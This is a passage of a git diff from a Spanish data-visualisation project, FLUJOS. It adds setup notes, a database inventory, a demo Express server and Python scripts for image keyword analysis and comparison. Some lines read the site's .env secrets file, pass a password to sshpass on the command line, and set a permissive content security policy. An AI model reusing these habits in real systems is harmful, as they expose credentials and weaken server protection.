|
||||
│ • UI: onNodeClick → showNodeContent(), sidebar form → re-getData() │
|
||||
└──────────────────────────────────────────────────────────────────────────────────────────┘
|
||||
12
INFO/DOCS/comandos_clave.txt
Normal file
12
INFO/DOCS/comandos_clave.txt
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
========================
|
||||
INICIAR MONGODB
|
||||
========================
|
||||
|
||||
sudo systemctl start mongo
|
||||
|
||||
|
||||
========================
|
||||
INICIAR FLUJOS
|
||||
=======================
|
||||
|
||||
node /flujos/FLUJOS/BACK_BACK/FLUJOS_APP.js
|
||||
27
INFO/DOCS/estructura.txt
Executable file
27
INFO/DOCS/estructura.txt
Executable file
|
|
@ -0,0 +1,27 @@
|
|||
proyecto/
|
||||
|
|
||||
|-- .gitignore # Archivos y directorios ignorados por git
|
||||
|-- package-lock.json # Bloquea las versiones de las dependencias
|
||||
|-- FLUJOS_APP.js # Punto de entrada de tu aplicación
|
||||
|
|
||||
|-- DOCS/ # Documentación del proyecto
|
||||
|
|
||||
|-- BACK_BACK/ # Contiene elementos relacionados con el backend
|
||||
| |-- entorno/ # Configuraciones del entorno o archivos relacionados
|
||||
| |-- requirements/ # Dependencias y requerimientos del proyecto
|
||||
| |-- OBSEI/ # (No utilizado, considerar eliminar si no es necesario)
|
||||
|
|
||||
|-- VISUALIZACION/ # Código relacionado con la parte visual o frontend
|
||||
| |-- node_modules/ # Módulos de Node.js
|
||||
| |-- package.json # Dependencias del frontend y scripts
|
||||
| |-- package-lock.json # Bloquea las versiones de las dependencias del frontend
|
||||
| |-- public/ # Archivos estáticos (HTML, CSS, JS, imágenes)
|
||||
| | |-- images/ # Imágenes
|
||||
| | |-- ... # Otros archivos estáticos (html, css, js)
|
||||
| |-- controllers/ # Controladores para la lógica del negocio
|
||||
| |-- models/ # Modelos o esquemas de la base de datos
|
||||
| |-- graphql/ # Definiciones para GraphQL (si se usa)
|
||||
| |-- routes/ # Rutas de la aplicación
|
||||
|
|
||||
|-- .gitignore # Archivos y directorios ignorados por git
|
||||
`-- package-lock.json # Bloquea las versiones de las dependencias
|
||||
172
INFO/DOCS/extraer_info_bbdd.txt
Normal file
172
INFO/DOCS/extraer_info_bbdd.txt
Normal file
|
|
@ -0,0 +1,172 @@
|
|||
================================================================================
|
||||
EXTRAER INFO DE LA BASE DE DATOS — ESTADO DE DATOS FLUJOS_DATOS
|
||||
Fecha: 2026-04-01
|
||||
================================================================================
|
||||
|
||||
Este documento recoge el estado actual de los datos del proyecto FLUJOS,
|
||||
tanto en disco como en MongoDB, y los comandos necesarios para replicar
|
||||
esta extracción en cualquier momento futuro.
|
||||
|
||||
|
||||
================================================================================
|
||||
1. ESTADO DE MONGODB (base de datos: FLUJOS_DATOS)
|
||||
================================================================================
|
||||
|
||||
+------------------+----------------+------------------------------------------+
|
||||
| Colección | Documentos | Campos |
|
||||
+------------------+----------------+------------------------------------------+
|
||||
| comparaciones | 52.568.835 | noticia1, noticia2, porcentaje_similitud |
|
||||
| wikipedia | 25.448 | archivo, tema, subtema, fecha, texto |
|
||||
+------------------+----------------+------------------------------------------+
|
||||
|
||||
NOTA: NOTICIAS y WikiLeaks/Torrents NO están en MongoDB todavía.
|
||||
Solo existen como ficheros en disco.
|
||||
|
||||
|
||||
================================================================================
|
||||
2. ESTADO EN DISCO — ARCHIVOS FÍSICOS
|
||||
================================================================================
|
||||
|
||||
NOTICIAS
|
||||
+-------------------------------+-------------------------------+-----------+---------+
|
||||
| Sección | Directorio | Archivos | Tamaño |
|
||||
+-------------------------------+-------------------------------+-----------+---------+
|
||||
| Artículos (txt scrapeados) | NOTICIAS/articulos/ | 41.467 | |
|
||||
| Archivos raw (PDF, HTML...) | NOTICIAS/archivos/ | 1.870 | |
|
||||
| TOTAL NOTICIAS | | 43.337 | 1.9 GB |
|
||||
+-------------------------------+-------------------------------+-----------+---------+
|
||||
|
||||
WIKIPEDIA
|
||||
+-------------------------------+--------------------------------------+-----------+---------+
|
||||
| Sección | Directorio | Archivos | Tamaño |
|
||||
+-------------------------------+--------------------------------------+-----------+---------+
|
||||
| Artículos Wikipedia | WIKIPEDIA/articulos_wikipedia/ | 25.448 | |
|
||||
| Artículos tokenizados | WIKIPEDIA/articulos_tokenizados/ | 25.448 | |
|
||||
| TOTAL WIKIPEDIA | (25.448 artículos + sus tokens) | 50.896 | 611 MB |
|
||||
+-------------------------------+--------------------------------------+-----------+---------+
|
||||
|
||||
TORRENTS / WIKILEAKS
|
||||
+-------------------------------+------------------------------------------+-----------+---------+
|
||||
| Sección | Directorio | Archivos | Tamaño |
|
||||
+-------------------------------+------------------------------------------+-----------+---------+
|
||||
| Textos extraídos | TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/txt/| 36.183 | |
|
||||
| Tokenizados | TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/ | | |
|
||||
| | tokenized/ | 36.183 | |
|
||||
| TOTAL TORRENTS | | 72.370 | 1.1 GB |
|
||||
+-------------------------------+------------------------------------------+-----------+---------+
|
||||
|
||||
MongoDB (datos físicos en disco)
|
||||
+-------------------------------+-----------+
|
||||
| Directorio MONGO/ | Tamaño |
|
||||
+-------------------------------+-----------+
|
||||
| MONGO/ | 3.2 GB |
|
||||
+-------------------------------+-----------+
|
||||
|
||||
|
||||
================================================================================
|
||||
3. COMPARACIONES — AVANCE DEL PROCESADO
|
||||
================================================================================
|
||||
|
||||
Las 52.5M comparaciones corresponden a artículos WIKIPEDIA cruzados entre sí
|
||||
(los nombres en la colección son del tipo "ISO_IEC 27032.txt",
|
||||
"Auditorio _Benito Juárez_.txt", etc.).
|
||||
|
||||
Estimación matemática usando N*(N-1)/2 = total_comparaciones:
|
||||
sqrt(2 * 52.568.835) ≈ 10.254 artículos ya cruzados entre sí
|
||||
|
||||
+---------------------------+-----------+-----------+-----------+
|
||||
| | Wikipedia | NOTICIAS | WikiLeaks |
|
||||
+---------------------------+-----------+-----------+-----------+
|
||||
| Archivos en disco | 25.448 | 43.337 | 36.183 |
|
||||
| Cargados en MongoDB | 25.448 ✓ | 0 ✗ | 0 ✗ |
|
||||
| Artículos comparados | ~10.254 | - | - |
|
||||
| % comparado | ~40% | - | - |
|
||||
| Artículos pendientes | ~15.194 | - | - |
|
||||
| Pares pendientes aprox. | ~115M | - | - |
|
||||
+---------------------------+-----------+-----------+-----------+
|
||||
|
||||
|
||||
================================================================================
|
||||
4. COMANDOS UTILIZADOS PARA EXTRAER ESTA INFORMACIÓN
|
||||
================================================================================
|
||||
|
||||
--- Ver variable de entorno y configuración MongoDB ---
|
||||
|
||||
cat /var/www/theflows.net/flujos/.env
|
||||
|
||||
|
||||
--- Listar colecciones en MongoDB ---
|
||||
|
||||
mongosh --quiet FLUJOS_DATOS --eval "db.getCollectionNames()"
|
||||
|
||||
|
||||
--- Contar documentos por colección ---
|
||||
|
||||
mongosh --quiet FLUJOS_DATOS --eval "
|
||||
db.getCollectionNames().forEach(col => {
|
||||
print(col + ': ' + db[col].countDocuments() + ' docs');
|
||||
})"
|
||||
|
||||
|
||||
--- Ver colecciones con campos y conteo ---
|
||||
|
||||
mongosh --quiet FLUJOS_DATOS --eval "
|
||||
db.getCollectionNames().forEach(col => {
|
||||
var count = db[col].countDocuments();
|
||||
var sample = db[col].findOne();
|
||||
var keys = sample ? Object.keys(sample).join(', ') : 'empty';
|
||||
print(col + ': ' + count + ' docs | fields: ' + keys);
|
||||
})"
|
||||
|
||||
|
||||
--- Ver un documento de muestra de comparaciones ---
|
||||
|
||||
mongosh --quiet FLUJOS_DATOS --eval "
|
||||
var s = db.comparaciones.findOne();
|
||||
print(JSON.stringify(s, null, 2));"
|
||||
|
||||
|
||||
--- Contar archivos en disco por sección ---
|
||||
|
||||
# NOTICIAS artículos
|
||||
find /var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/articulos/ -type f | wc -l
|
||||
|
||||
# NOTICIAS archivos raw
|
||||
find /var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/archivos/ -type f | wc -l
|
||||
|
||||
# WIKIPEDIA artículos
|
||||
find /var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_wikipedia/ -type f | wc -l
|
||||
|
||||
# WIKIPEDIA tokenizados
|
||||
find /var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_tokenizados/ -type f | wc -l
|
||||
|
||||
# TORRENTS total
|
||||
find /var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/ -type f | wc -l
|
||||
|
||||
# WikiLeaks txt
|
||||
find /var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/txt/ -type f | wc -l
|
||||
|
||||
# WikiLeaks tokenizados
|
||||
find /var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/tokenized/ -type f | wc -l
|
||||
|
||||
|
||||
--- Tamaño en disco por sección ---
|
||||
|
||||
du -sh /var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/
|
||||
du -sh /var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/
|
||||
du -sh /var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/
|
||||
du -sh /var/www/theflows.net/flujos/FLUJOS_DATOS/MONGO/
|
||||
|
||||
|
||||
--- Estimación de artículos únicos comparados (cálculo matemático) ---
|
||||
|
||||
mongosh --quiet FLUJOS_DATOS --eval "
|
||||
var total = db.comparaciones.countDocuments();
|
||||
var approxN = Math.round(Math.sqrt(2 * total));
|
||||
print('Total comparaciones: ' + total);
|
||||
print('Artículos únicos comparados (estimación): ' + approxN);"
|
||||
|
||||
|
||||
================================================================================
|
||||
FIN DEL DOCUMENTO
|
||||
================================================================================
|
||||
38
INFO/DOCS/sshpass_transfer_comandos.txt
Normal file
38
INFO/DOCS/sshpass_transfer_comandos.txt
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
# COMANDOS SSHPASS - TRANSFERENCIA FLUJOS_DATOS
|
||||
# Servidor destino: d1d4k@server045151.vps.webdock.cloud
|
||||
# Fecha: 2026-04-01
|
||||
# =====================================================
|
||||
|
||||
# 1. VERIFICAR QUE SSHPASS ESTÁ INSTALADO
|
||||
which sshpass || sudo apt install sshpass -y
|
||||
|
||||
# 2. TRANSFERIR SOLO ARCHIVOS .txt (tokenizados/raw)
|
||||
sshpass -p 'TU_PASSWORD' rsync -avz --progress \
|
||||
--include='*/' \
|
||||
--include='*.txt' \
|
||||
--exclude='*' \
|
||||
/var/www/theflows.net/flujos/FLUJOS_DATOS/ \
|
||||
d1d4k@server045151.vps.webdock.cloud:/home/d1d4k/UP-LEAKS/FLUJOS/FLUJOS_DATOS/
|
||||
|
||||
# 3. TRANSFERIR TODO (excluyendo virtualenv, logs mongo y cache)
|
||||
sshpass -p 'TU_PASSWORD' rsync -avz --progress \
|
||||
--exclude='myenv/' \
|
||||
--exclude='MONGO/' \
|
||||
--exclude='__pycache__/' \
|
||||
/var/www/theflows.net/flujos/FLUJOS_DATOS/ \
|
||||
d1d4k@server045151.vps.webdock.cloud:/home/d1d4k/UP-LEAKS/FLUJOS/FLUJOS_DATOS/
|
||||
|
||||
# 4. SOLO .txt DE SUBCARPETAS ESPECÍFICAS (TORRENTS + NOTICIAS + WIKIPEDIA)
|
||||
for DIR in TORRENTS NOTICIAS WIKIPEDIA; do
|
||||
sshpass -p 'TU_PASSWORD' rsync -avz --progress \
|
||||
--include='*/' --include='*.txt' --exclude='*' \
|
||||
/var/www/theflows.net/flujos/FLUJOS_DATOS/$DIR/ \
|
||||
d1d4k@server045151.vps.webdock.cloud:/home/d1d4k/UP-LEAKS/FLUJOS/FLUJOS_DATOS/$DIR/
|
||||
done
|
||||
|
||||
# NOTAS:
|
||||
# - Reemplazar TU_PASSWORD con la contraseña real antes de ejecutar
|
||||
# - myenv/ excluido: virtualenv, inútil en destino
|
||||
# - MONGO/ excluido: logs de bd, no son datos de texto
|
||||
# - rsync crea el directorio destino si no existe
|
||||
# - Añadir --dry-run para simular sin transferir nada
|
||||
97
INFO/POCS/BACK_BACK/FLUJOS_APP_PRUEBAS.js
Normal file
97
INFO/POCS/BACK_BACK/FLUJOS_APP_PRUEBAS.js
Normal file
|
|
@ -0,0 +1,97 @@
|
|||
// FLUJOS_APP_PRUEBAS.js
|
||||
// Servidor ligero para probar los demos de visualización SIN necesitar MongoDB.
|
||||
// No modifica ni interfiere con FLUJOS_APP.js.
|
||||
// Arrancarlo: node FLUJOS_APP_PRUEBAS.js
|
||||
// URL: http://localhost:3001/demos/demo_text_nodes.html
|
||||
|
||||
const express = require('express');
|
||||
const path = require('path');
|
||||
const helmet = require('helmet');
|
||||
|
||||
const app = express();
|
||||
const PORT = 3001;
|
||||
|
||||
// CSP ampliada para permitir esm.sh (demos usan ES modules desde CDN)
|
||||
app.use(
|
||||
helmet.contentSecurityPolicy({
|
||||
directives: {
|
||||
defaultSrc: ["'self'"],
|
||||
scriptSrc: [
|
||||
"'self'",
|
||||
"'unsafe-inline'",
|
||||
"'unsafe-eval'",
|
||||
'https://unpkg.com',
|
||||
'https://cdnjs.cloudflare.com',
|
||||
'https://fonts.googleapis.com',
|
||||
'https://esm.sh',
|
||||
],
|
||||
scriptSrcElem: [
|
||||
"'self'",
|
||||
"'unsafe-inline'",
|
||||
'https://unpkg.com',
|
||||
'https://cdnjs.cloudflare.com',
|
||||
'https://esm.sh',
|
||||
],
|
||||
styleSrc: ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'],
|
||||
fontSrc: ["'self'", 'https://fonts.gstatic.com', 'https://fonts.googleapis.com'],
|
||||
imgSrc: ["'self'", 'data:', 'blob:'],
|
||||
connectSrc: ["'self'", 'https://esm.sh', 'ws://localhost:3001'],
|
||||
workerSrc: ["'self'", 'blob:'],
|
||||
scriptSrcAttr: ["'unsafe-inline'"],
|
||||
},
|
||||
})
|
||||
);
|
||||
|
||||
// Ruta raíz → index de demos (debe ir ANTES del middleware estático)
|
||||
app.get('/', (req, res) => {
|
||||
res.send(`
|
||||
<!DOCTYPE html>
|
||||
<html lang="es">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>FLUJOS — Demos</title>
|
||||
<style>
|
||||
body { background:#000; color:#39ff14; font-family:'Courier New',monospace; padding:40px; }
|
||||
h1 { font-size:1.4em; letter-spacing:4px; margin-bottom:8px; text-shadow:0 0 10px #39ff14; }
|
||||
p { font-size:0.75em; color:#555; margin-bottom:30px; }
|
||||
ul { list-style:none; padding:0; }
|
||||
li { margin-bottom:12px; }
|
||||
a { color:#39ff14; text-decoration:none; font-size:0.9em; letter-spacing:1px;
|
||||
border:1px solid #222; padding:8px 16px; display:inline-block;
|
||||
transition:border-color 0.2s, box-shadow 0.2s; }
|
||||
a:hover { border-color:#39ff14; box-shadow:0 0 8px #39ff14; }
|
||||
.tag { font-size:0.65em; color:#555; margin-left:10px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>FLUJOS · DEMOS</h1>
|
||||
<p>Servidor de pruebas — sin MongoDB · puerto 3001</p>
|
||||
<ul>
|
||||
<li>
|
||||
<a href="/demos/demo_text_nodes.html">demo_text_nodes</a>
|
||||
<span class="tag">three-spritetext · texto como nodo</span>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/demos/demo_img_nodes.html">demo_img_nodes</a>
|
||||
<span class="tag">THREE.Sprite · imágenes como nodo</span>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/demos/demo_mixed_nodes.html">demo_mixed_nodes</a>
|
||||
<span class="tag">CSS2DRenderer · cards HTML en 3D</span>
|
||||
</li>
|
||||
</ul>
|
||||
</body>
|
||||
</html>
|
||||
`);
|
||||
});
|
||||
|
||||
// Archivos estáticos (después de la ruta raíz)
|
||||
app.use(express.static(path.join(__dirname, '../VISUALIZACION/public')));
|
||||
|
||||
app.listen(PORT, '0.0.0.0', () => {
|
||||
console.log(`\n FLUJOS PRUEBAS corriendo en http://localhost:${PORT}`);
|
||||
console.log(` Demos disponibles:`);
|
||||
console.log(` http://localhost:${PORT}/demos/demo_text_nodes.html`);
|
||||
console.log(` http://localhost:${PORT}/demos/demo_img_nodes.html`);
|
||||
console.log(` http://localhost:${PORT}/demos/demo_mixed_nodes.html\n`);
|
||||
});
|
||||
3
INFO/POCS/BACK_BACK/IMAGENES/.gitignore
vendored
Normal file
3
INFO/POCS/BACK_BACK/IMAGENES/.gitignore
vendored
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
__pycache__/
|
||||
output/
|
||||
*.pyc
|
||||
30
INFO/POCS/BACK_BACK/IMAGENES/debug_wiki.py
Normal file
30
INFO/POCS/BACK_BACK/IMAGENES/debug_wiki.py
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
"""Script de debug para ver qué devuelve la API de Wikipedia/Wikimedia."""
|
||||
import requests
|
||||
from wikipedia_image_scraper import (
|
||||
search_articles, get_article_images, get_image_info, should_skip, SKIP_PATTERNS
|
||||
)
|
||||
|
||||
# 1. Buscar artículos
|
||||
print("=== ARTÍCULOS ===")
|
||||
articles = search_articles("cambio climático", lang="es", limit=2)
|
||||
for a in articles:
|
||||
print(f" {a['title']}")
|
||||
|
||||
# 2. Imágenes del primer artículo
|
||||
print("\n=== IMÁGENES DEL ARTÍCULO ===")
|
||||
img_titles = get_article_images(articles[0]["title"], lang="es", limit=10)
|
||||
for t in img_titles:
|
||||
print(f" {t}")
|
||||
|
||||
# 3. Info de las primeras 5 imágenes
|
||||
print("\n=== INFO DE CADA IMAGEN ===")
|
||||
for title in img_titles[:5]:
|
||||
print(f"\n Título: {title}")
|
||||
info = get_image_info(title)
|
||||
if info is None:
|
||||
print(" → get_image_info devolvió None")
|
||||
continue
|
||||
print(f" url: {info.get('url', 'N/A')[:80]}")
|
||||
print(f" size: {info.get('width')}x{info.get('height')} {info.get('size_bytes')}B")
|
||||
skip, motivo = should_skip(title, info)
|
||||
print(f" skip: {skip} ({motivo})")
|
||||
197
INFO/POCS/BACK_BACK/IMAGENES/image_analyzer.py
Normal file
197
INFO/POCS/BACK_BACK/IMAGENES/image_analyzer.py
Normal file
|
|
@ -0,0 +1,197 @@
|
|||
"""
|
||||
image_analyzer.py
|
||||
-----------------
|
||||
Analiza imágenes usando un VLM via ollama y extrae:
|
||||
- tema, subtema
|
||||
- keywords (lista de palabras clave)
|
||||
- descripción
|
||||
- entidades (personas, organizaciones, lugares)
|
||||
|
||||
Modelos recomendados en ollama para visión:
|
||||
- llava:13b (bueno, ligero)
|
||||
- qwen2-vl:7b (muy bueno para keywords)
|
||||
- minicpm-v:8b (rápido y preciso)
|
||||
- llava-llama3:8b (balance velocidad/calidad)
|
||||
|
||||
Para usar Qwen3.5 GGUF (texto), primero genera caption con un VLM
|
||||
y luego pasa el texto a Qwen para enriquecer keywords — ver pipeline_pruebas.py
|
||||
|
||||
Uso:
|
||||
analyzer = ImageAnalyzer(model="qwen2-vl:7b")
|
||||
result = analyzer.analyze("foto.jpg")
|
||||
results = analyzer.analyze_folder("./mis_imagenes/")
|
||||
"""
|
||||
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
import requests
|
||||
|
||||
# ── Configuración ──────────────────────────────────────────────────────────────
|
||||
|
||||
OLLAMA_URL = os.getenv("OLLAMA_URL", "http://localhost:11434")
|
||||
DEFAULT_MODEL = os.getenv("VISION_MODEL", "qwen2-vl:7b")
|
||||
|
||||
SUPPORTED_EXTENSIONS = {".jpg", ".jpeg", ".png", ".gif", ".webp", ".bmp"}
|
||||
|
||||
KEYWORD_PROMPT = """Analiza esta imagen en detalle.
|
||||
Devuelve ÚNICAMENTE un objeto JSON válido con esta estructura exacta, sin texto adicional:
|
||||
|
||||
{
|
||||
"tema": "tema principal de la imagen (1-3 palabras en español)",
|
||||
"subtema": "subtema específico (1-4 palabras en español)",
|
||||
"keywords": ["palabra1", "palabra2", "palabra3"],
|
||||
"descripcion": "descripción breve y objetiva de lo que muestra la imagen (1-2 frases)",
|
||||
"entidades": ["nombre_propio1", "organizacion1", "lugar1"],
|
||||
"idioma_detectado": "es/en/fr/..."
|
||||
}
|
||||
|
||||
Requisitos:
|
||||
- keywords: entre 8 y 15 palabras clave relevantes, en minúsculas
|
||||
- entidades: solo si son claramente visibles/identificables, puede estar vacío []
|
||||
- todo el contenido en español salvo entidades propias
|
||||
- SOLO el JSON, sin markdown ni explicaciones"""
|
||||
|
||||
|
||||
# ── Clase principal ─────────────────────────────────────────────────────────────
|
||||
|
||||
class ImageAnalyzer:
|
||||
def __init__(self, model: str = DEFAULT_MODEL, ollama_url: str = OLLAMA_URL):
|
||||
self.model = model
|
||||
self.ollama_url = ollama_url.rstrip("/")
|
||||
|
||||
# ── Helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
@staticmethod
|
||||
def encode_image(image_path: str) -> str:
|
||||
with open(image_path, "rb") as f:
|
||||
return base64.b64encode(f.read()).decode("utf-8")
|
||||
|
||||
def _check_ollama(self) -> bool:
|
||||
try:
|
||||
r = requests.get(f"{self.ollama_url}/api/tags", timeout=5)
|
||||
return r.status_code == 200
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def _parse_json_response(self, raw: str) -> dict:
|
||||
"""Extrae JSON del response aunque venga con texto alrededor."""
|
||||
raw = raw.strip()
|
||||
# Buscar bloque JSON entre llaves
|
||||
match = re.search(r'\{[\s\S]*\}', raw)
|
||||
if match:
|
||||
return json.loads(match.group())
|
||||
raise ValueError(f"No se encontró JSON válido en el response:\n{raw[:300]}")
|
||||
|
||||
# ── Análisis de una imagen ─────────────────────────────────────────────────
|
||||
|
||||
def analyze(self, image_path: str, extra_context: str = "") -> dict:
|
||||
"""
|
||||
Analiza una imagen y devuelve dict con keywords y metadata.
|
||||
|
||||
Args:
|
||||
image_path: ruta a la imagen
|
||||
extra_context: contexto adicional para el prompt (ej: "esta imagen es de un periódico sobre guerras")
|
||||
|
||||
Returns:
|
||||
dict con: archivo, tema, subtema, texto, keywords, entidades,
|
||||
source_type, fecha, image_path
|
||||
"""
|
||||
if not os.path.exists(image_path):
|
||||
raise FileNotFoundError(f"Imagen no encontrada: {image_path}")
|
||||
|
||||
prompt = KEYWORD_PROMPT
|
||||
if extra_context:
|
||||
prompt = f"Contexto adicional: {extra_context}\n\n" + prompt
|
||||
|
||||
img_b64 = self.encode_image(image_path)
|
||||
|
||||
payload = {
|
||||
"model": self.model,
|
||||
"prompt": prompt,
|
||||
"images": [img_b64],
|
||||
"stream": False,
|
||||
"format": "json",
|
||||
"options": {
|
||||
"temperature": 0.1, # baja temperatura = más determinista
|
||||
"num_predict": 512,
|
||||
}
|
||||
}
|
||||
|
||||
print(f" → Enviando a ollama ({self.model}): {Path(image_path).name}")
|
||||
response = requests.post(
|
||||
f"{self.ollama_url}/api/generate",
|
||||
json=payload,
|
||||
timeout=180
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
raw_response = response.json().get("response", "")
|
||||
parsed = self._parse_json_response(raw_response)
|
||||
|
||||
return {
|
||||
"archivo": Path(image_path).name,
|
||||
"image_path": str(Path(image_path).resolve()),
|
||||
"tema": parsed.get("tema", "sin_clasificar").lower(),
|
||||
"subtema": parsed.get("subtema", "").lower(),
|
||||
"texto": parsed.get("descripcion", ""),
|
||||
"keywords": [k.lower().strip() for k in parsed.get("keywords", [])],
|
||||
"entidades": parsed.get("entidades", []),
|
||||
"idioma": parsed.get("idioma_detectado", "es"),
|
||||
"source_type": "imagen",
|
||||
"fecha": datetime.now().strftime("%Y-%m-%d"),
|
||||
"modelo_usado": self.model,
|
||||
}
|
||||
|
||||
# ── Análisis de una carpeta ────────────────────────────────────────────────
|
||||
|
||||
def analyze_folder(self, folder_path: str, extra_context: str = "") -> list[dict]:
|
||||
"""
|
||||
Analiza todas las imágenes de una carpeta.
|
||||
|
||||
Returns:
|
||||
Lista de resultados, incluye errores como dicts con campo 'error'
|
||||
"""
|
||||
folder = Path(folder_path)
|
||||
if not folder.exists():
|
||||
raise FileNotFoundError(f"Carpeta no encontrada: {folder_path}")
|
||||
|
||||
images = [p for p in folder.iterdir() if p.suffix.lower() in SUPPORTED_EXTENSIONS]
|
||||
print(f"\n[ImageAnalyzer] {len(images)} imágenes encontradas en {folder_path}")
|
||||
|
||||
if not self._check_ollama():
|
||||
print(f" ⚠ ollama no responde en {self.ollama_url}")
|
||||
print(" Instala ollama: https://ollama.ai")
|
||||
print(f" Luego: ollama pull {self.model}")
|
||||
return []
|
||||
|
||||
results = []
|
||||
for i, img_path in enumerate(images, 1):
|
||||
print(f" [{i}/{len(images)}] {img_path.name}")
|
||||
try:
|
||||
result = self.analyze(str(img_path), extra_context)
|
||||
results.append(result)
|
||||
print(f" tema={result['tema']} | keywords={result['keywords'][:4]}...")
|
||||
except Exception as e:
|
||||
print(f" ERROR: {e}")
|
||||
results.append({
|
||||
"archivo": img_path.name,
|
||||
"error": str(e),
|
||||
"source_type": "imagen",
|
||||
"fecha": datetime.now().strftime("%Y-%m-%d"),
|
||||
})
|
||||
|
||||
print(f"\n[ImageAnalyzer] Completado: {len([r for r in results if 'error' not in r])}/{len(images)} OK\n")
|
||||
return results
|
||||
|
||||
# ── Guardar resultados a JSON ──────────────────────────────────────────────
|
||||
|
||||
@staticmethod
|
||||
def save_json(results: list[dict], output_path: str):
|
||||
with open(output_path, "w", encoding="utf-8") as f:
|
||||
json.dump(results, f, ensure_ascii=False, indent=2)
|
||||
print(f"[ImageAnalyzer] Guardado: {output_path} ({len(results)} registros)")
|
||||
158
INFO/POCS/BACK_BACK/IMAGENES/image_comparator.py
Normal file
158
INFO/POCS/BACK_BACK/IMAGENES/image_comparator.py
Normal file
|
|
@ -0,0 +1,158 @@
|
|||
"""
|
||||
image_comparator.py
|
||||
-------------------
|
||||
Compara keywords de imágenes con documentos de texto (noticias, wikipedia, torrents)
|
||||
usando similitud TF-IDF coseno.
|
||||
|
||||
Produce documentos para la colección 'comparaciones' de MongoDB,
|
||||
con la misma estructura que los comparaciones texto-texto ya existentes:
|
||||
{ noticia1, noticia2, porcentaje_similitud }
|
||||
|
||||
Ampliado con campos opcionales: source1_type, source2_type (para saber qué se comparó).
|
||||
|
||||
Uso:
|
||||
comp = ImageComparator()
|
||||
resultados = comp.compare_image_vs_collection(imagen_doc, lista_docs_texto)
|
||||
top = comp.top_n(resultados, n=10)
|
||||
"""
|
||||
|
||||
from sklearn.feature_extraction.text import TfidfVectorizer
|
||||
from sklearn.metrics.pairwise import cosine_similarity
|
||||
import numpy as np
|
||||
|
||||
|
||||
# ── Clase principal ─────────────────────────────────────────────────────────────
|
||||
|
||||
class ImageComparator:
|
||||
|
||||
def __init__(self, threshold: float = 5.0):
|
||||
"""
|
||||
Args:
|
||||
threshold: porcentaje mínimo de similitud para incluir en resultados (0-100)
|
||||
"""
|
||||
self.threshold = threshold
|
||||
self.vectorizer = TfidfVectorizer(
|
||||
analyzer="word",
|
||||
ngram_range=(1, 2),
|
||||
min_df=1,
|
||||
strip_accents="unicode",
|
||||
lowercase=True,
|
||||
)
|
||||
|
||||
# ── Conversión de documentos a texto ──────────────────────────────────────
|
||||
|
||||
@staticmethod
|
||||
def doc_to_text(doc: dict) -> str:
|
||||
"""
|
||||
Concatena los campos relevantes de un documento en un string para TF-IDF.
|
||||
Compatible con estructura de noticias/wikipedia/torrents/imagenes.
|
||||
"""
|
||||
parts = []
|
||||
# keywords de imágenes (lista) — los más informativos, se repiten para darles peso
|
||||
if doc.get("keywords"):
|
||||
kws = doc["keywords"] if isinstance(doc["keywords"], list) else []
|
||||
parts.extend(kws * 3) # peso extra a keywords
|
||||
# campos de texto estándar
|
||||
for field in ("tema", "subtema", "texto"):
|
||||
val = doc.get(field)
|
||||
if val and isinstance(val, str):
|
||||
parts.append(val)
|
||||
# entidades
|
||||
if doc.get("entidades"):
|
||||
parts.extend(doc["entidades"])
|
||||
return " ".join(parts)
|
||||
|
||||
# ── Comparación imagen vs lista de documentos ─────────────────────────────
|
||||
|
||||
def compare_image_vs_collection(
|
||||
self,
|
||||
image_doc: dict,
|
||||
text_docs: list[dict],
|
||||
) -> list[dict]:
|
||||
"""
|
||||
Compara una imagen contra una lista de documentos de texto.
|
||||
|
||||
Returns:
|
||||
Lista de dicts ordenados por porcentaje_similitud desc, filtrados por threshold.
|
||||
"""
|
||||
if not text_docs:
|
||||
return []
|
||||
|
||||
all_docs = [image_doc] + text_docs
|
||||
texts = [self.doc_to_text(d) for d in all_docs]
|
||||
|
||||
try:
|
||||
matrix = self.vectorizer.fit_transform(texts)
|
||||
except ValueError:
|
||||
return []
|
||||
|
||||
# Similitud de imagen (índice 0) contra todos los demás
|
||||
sims = cosine_similarity(matrix[0:1], matrix[1:]).flatten()
|
||||
|
||||
comparaciones = []
|
||||
for doc, sim in zip(text_docs, sims):
|
||||
pct = round(float(sim) * 100, 2)
|
||||
if pct < self.threshold:
|
||||
continue
|
||||
|
||||
comparaciones.append({
|
||||
# Campos compatibles con colección 'comparaciones' existente
|
||||
"noticia1": image_doc.get("archivo", "imagen"),
|
||||
"noticia2": doc.get("archivo", str(doc.get("_id", ""))),
|
||||
"porcentaje_similitud": pct,
|
||||
# Campos extendidos (opcionales — no rompen queries existentes)
|
||||
"source1_type": "imagen",
|
||||
"source2_type": doc.get("source_type", "texto"),
|
||||
"tema_imagen": image_doc.get("tema", ""),
|
||||
"tema_doc": doc.get("tema", ""),
|
||||
})
|
||||
|
||||
comparaciones.sort(key=lambda x: x["porcentaje_similitud"], reverse=True)
|
||||
return comparaciones
|
||||
|
||||
